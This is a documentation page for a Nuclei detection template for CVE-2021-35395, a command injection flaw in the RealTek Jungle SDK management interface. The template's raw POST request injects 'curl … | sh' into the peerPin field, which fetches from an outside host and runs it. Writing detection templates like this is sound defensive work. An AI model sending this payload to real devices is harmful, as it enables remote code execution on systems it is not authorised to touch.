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RealTek Jungle SDK - Arbitrary Command Injection

ID: CVE-2021-35395

Severity: critical

Author: king-alexander

Tags: cve2021,cve,realtek,rce,kev

Description

Section titled “Description”

There is a command injection vulnerability on the “formWsc” page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.

YAML Source

Section titled “YAML Source”
id: CVE-2021-35395


info:
  name: RealTek Jungle SDK - Arbitrary Command Injection
  author: king-alexander
  severity: critical
  description: |
    There is a command injection vulnerability on the "formWsc" page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
  remediation: Apply the latest security patches or updates provided by RealTek to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35395
    - https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities
    - https://www.realtek.com/en/cu-1-en/cu-1-taiwan-en
    - https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2021-35392_35395.pdf
    - https://github.com/Knighthana/YABWF
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35395
    epss-score: 0.96911
    epss-percentile: 0.99713
    cpe: cpe:2.3:a:realtek:realtek_jungle_sdk:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: realtek
    product: realtek_jungle_sdk
  tags: cve2021,cve,realtek,rce,kev


http:
  - raw:
      - |
        POST /goform/formWsc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;curl http://{{interactsh-url}} | sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 490a0046304402207f676f17a7ae3bdbfc285b66a7848ec4d5467282c22fc8d5631213900e835d1c022077ab4d36f2885cb04bd7aa412c11ffbc223a7f30deb7c182ad2d5ee623cfb2a4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-35395.yaml"

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